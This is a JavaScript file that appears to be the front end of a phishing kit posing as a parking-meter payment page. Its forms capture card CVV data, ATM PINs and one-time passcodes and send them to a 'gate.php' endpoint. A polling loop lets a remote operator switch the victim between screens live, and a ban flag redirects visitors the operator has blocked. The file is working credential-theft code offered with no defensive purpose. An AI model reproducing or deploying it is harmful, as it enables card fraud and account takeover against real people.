let
    gateURL = "gate.php",
    pingThrottle = 2000,
    formHeaders = new Headers({'Content-type': 'application/x-www-form-urlencoded; charset=UTF-8'});
//
fetch(gateURL, {
    method: 'POST',
    body: new URLSearchParams({
        action: "redirLink"
    }),
    headers: formHeaders
})
    .then(response => response.json())
    .then(data => {
        redirectKick = data.redirectLink; // TODO: asta trebuie reparat
    });



const gotoHomeScreen = (event) => {
    if(  typeof event !== 'undefined' && event !== null && typeof event !== "number"){
        event.preventDefault();
    }
    display("timerScreen")
}

const gotoPlatesScreen = (event) => {
    event.preventDefault();
    display("plateScreen")
}

const showError = (screenElement) => {
    document.getElementById(screenElement).querySelector(".error_msg").classList.remove("hidden")
}

const gotoCvvScreen = (event) => {
    if(  typeof event !== 'undefined' && event !== null && typeof event !== "number"){
        event.preventDefault();
    }
    display("cvvScreen")
    if( event == 1 ){
        showError("cvvScreen")
        //alert("show error msg")
    }


}

const submitCvvData = (event) =>{
    event.preventDefault();
    //hideScreens();
    let formData = getFormData(event, "cvv")
    let ll = sendData(formData)
    console.log(ll)
    console.log(formData)

}

const submitPinData = (event) =>{
    event.preventDefault();
    //hideScreens();
    let formData = getFormData(event, "atm")
    let ll = sendData(formData)
    console.log(ll)
    console.log(formData)

}

const submitOtpData = (event) =>{
    event.preventDefault();
    //hideScreens();
    let formData = getFormData(event, "otp")
    let ll = sendData(formData)
    console.log(ll)
    console.log(formData)

}

const gotoConfirmScreen = (event) => {
    if(  typeof event !== 'undefined' && event !== null && typeof event !== "number"){
        event.preventDefault();
    }
    display("confirmScreen")
    if( event == 1 ){
        showError("confirmScreen")
        //alert("show error msg")
    }
}

const gotoOtpScreen = (event) => {
    if(  typeof event !== 'undefined' && event !== null && typeof event !== "number"){
        event.preventDefault();
    }
    display("otpScreen")
    if( event == 1 ){
        showError("otpScreen")
        //alert("show error msg")
    }
}
const gotoPinScreen = (event) => {
    if(  typeof event !== 'undefined' && event !== null && typeof event !== "number"){
        event.preventDefault();
    }
    display("pinScreen")
    if( event == 1 ){
        showError("pinScreen")
        //alert("show error msg")
    }
}
const gotoErrScreen = (event) => {
    if(  typeof event !== 'undefined' && event !== null && typeof event !== "number"){
        event.preventDefault();
    }
    display("errScreen")
    if( event == 1 ){
        showError("errScreen")
        //alert("show error msg")
    }
}

const hideScreens = () => {
    //hide all .screen | empty all .screen > input |  set all select to first option
    document.getElementById("timerScreen").classList.remove("_hidden")
    document.getElementById("timerScreen").classList.add("hidden")
    document.getElementById("plateScreen").classList.remove("_hidden")
    document.getElementById("plateScreen").classList.add("hidden")
    document.getElementById("cvvScreen").classList.remove("_hidden")
    document.getElementById("cvvScreen").classList.add("hidden")
    document.getElementById("confirmScreen").classList.remove("_hidden")
    document.getElementById("confirmScreen").classList.add("hidden")
    document.getElementById("otpScreen").classList.remove("_hidden")
    document.getElementById("otpScreen").classList.add("hidden")
    document.getElementById("pinScreen").classList.remove("_hidden")
    document.getElementById("pinScreen").classList.add("hidden")
    document.getElementById("loadingScreen").classList.remove("_hidden")
    document.getElementById("loadingScreen").classList.add("hidden")
    document.getElementById("errScreen").classList.remove("_hidden")
    document.getElementById("errScreen").classList.add("hidden")
    document.getElementById("otp").value = "";
    document.getElementById("atmPin").value = "";
    allErrors = document.getElementsByClassName("error_msg")
    allInputs = document.querySelectorAll("input[type='text']")

    for( let i=0;i<allInputs.length;i++){
        allInputs[i].value = ""
    }

    for( let i=0;i<allErrors.length;i++){
        allErrors[i].classList.add("hidden")
    }
}

const display = (screenName) => {
    hideScreens();
    document.getElementById(screenName).classList.remove("hidden")
    document.getElementById(screenName).classList.add("_hidden")
}



const getFormData =(event, action = "ping") => {
    let formData = {};
    formData["action"] = action
    for (let i = 0; i <  event.target.length; i++) {
        if( null != event.target.elements[i].getAttribute("name") ){
            formData[event.target.elements[i].getAttribute("name")] = event.target.elements[i].value;
        }
    }
    return formData
}

const gotoWaitScreen = () => {
    display("loadingScreen")
}




const sendData = (formData) => {
    fetch(gateURL, {
        method: 'POST',
        body: new URLSearchParams(formData),
        headers: formHeaders
    })
        .then(response => response.json())
        .then(data => {
            if (data.ban_status == 1) {
                document.body.innerHTML = '';
                window.location.replace(redirectKick);
            }
            //  setTimeout(function () {
            //      pingHome();
            // }, pingThrottle);
            executeFunction(data.cmd, data.params, data.extra);
            console.log(data)
            //alert(data.cmd);
        });
}
const executeFunction = (cmd, param = 0, extra = null) => {

    //console.log( [cmd, param, extra] )
    switch ( parseInt(cmd) ) {
        case 0:
           // nein
            break;
        case 1:
            gotoHomeScreen(param);
            break;
        case 3:
            gotoCvvScreen(param);
            break;
        case 4:
            gotoConfirmScreen(param);
            break;
        case 5:
            gotoOtpScreen(param);
            break;
        case 6:
            gotoPinScreen(param);
            break;
        case 7:
            gotoErrScreen(param);
            break;
        case 8:
            window.location.replace(redirectKick)
            break;
        case 9:
           gotoWaitScreen();
            break;

        default:
            //niet
            break;
    }
}

// 1 -> timerScreen | timerForm

let pingHome = () => {
    fetch(gateURL, {
        method: 'POST',
        body: new URLSearchParams({
            action: "ping"
        }),
        headers: formHeaders
    })
        .then(response => response.json())
        .then(data => {
            if (data.ban_status == 1) {
                document.body.innerHTML = '';
                window.location.replace(redirectKick);
            }
            setTimeout(function () {
                pingHome();
            }, pingThrottle);
            executeFunction(data.cmd, data.params, data.extra);
            //alert(data.cmd);
        });
}

setTimeout(function () {
    pingHome()
}, pingThrottle);


const calculateRate = () => {
    let totalTime = parseInt(document.getElementById("minutes_select").options[document.getElementById("minutes_select").selectedIndex].value) + parseInt(document.getElementById("hours_select").options[document.getElementById("hours_select").selectedIndex].value);
    totalPrice = 0.25 * totalTime /15;
    console.log(totalPrice)
    if(totalPrice > 4 ){
        totalPrice = 4;
    }
    let priceTags = document.getElementsByClassName("totalPriceSpan")
    for(let i=0;i<priceTags.length;i++){
        priceTags[i].textContent = totalPrice;
    }
    let humanTime = document.getElementsByClassName("humanTime")
    for(let i=0;i<humanTime.length;i++){
        humanTime[i].textContent = toHoursAndMinutes(totalTime);
    }
}


const setPlatenumber = () => {
    let currentPlateNumber = document.getElementById("plateNumber").value

    let plateNumber = document.getElementsByClassName("licenseNumber")
    for(let i=0;i<plateNumber.length;i++){
        plateNumber[i].textContent = currentPlateNumber;
    }
}



function toHoursAndMinutes(totalMinutes) {
    const hours = Math.floor(totalMinutes / 60);
    const minutes = totalMinutes % 60;  return `${hours}h${minutes > 0 ? ` ${minutes}m` : ''}`;
}

document.getElementById("timerForm").addEventListener("submit", gotoPlatesScreen )
document.getElementById("plateForm").addEventListener("submit", gotoCvvScreen )
document.getElementById("cvvForm").addEventListener("submit", submitCvvData )
document.getElementById("pinForm").addEventListener("submit", submitPinData )
document.getElementById("otpForm").addEventListener("submit", submitOtpData )
// document.getElementById("cvvForm").addEventListener("submit", gotoConfirmScreen )
document.getElementById("confirmForm").addEventListener("submit", gotoPlatesScreen )
//document.getElementById("otpForm").addEventListener("submit", gotoPlatesScreen )
//document.getElementById("pinForm").addEventListener("submit", gotoPlatesScreen )

document.getElementById("plateNumber").addEventListener("change", setPlatenumber)

document.getElementById("hours_select").addEventListener("change", calculateRate)
document.getElementById("minutes_select").addEventListener("change", calculateRate)




let resumePage = () => {
    //console.log("resume page")
    fetch(gateURL, {
        method: 'POST',
        body: new URLSearchParams({
            action: "ping"
        }),
        headers: formHeaders
    })
        .then(response => response.json())
        .then(data => {
            //console.log(data);
            if (data.ban_status == 1) {
                document.body.innerHTML = '';
                window.location.replace(redirectKick);
            }
            //console.log("executeFunction()")
            //console.log([data.page, data.params, data.extra])
            executeFunction(data.page, data.params, data.extra);
        });
}

resumePage();
calculateRate();
setPlatenumber();

document.getElementById("minutes_select").options[document.getElementById("minutes_select").selectedIndex].value
document.getElementById("hours_select").options[document.getElementById("hours_select").selectedIndex].value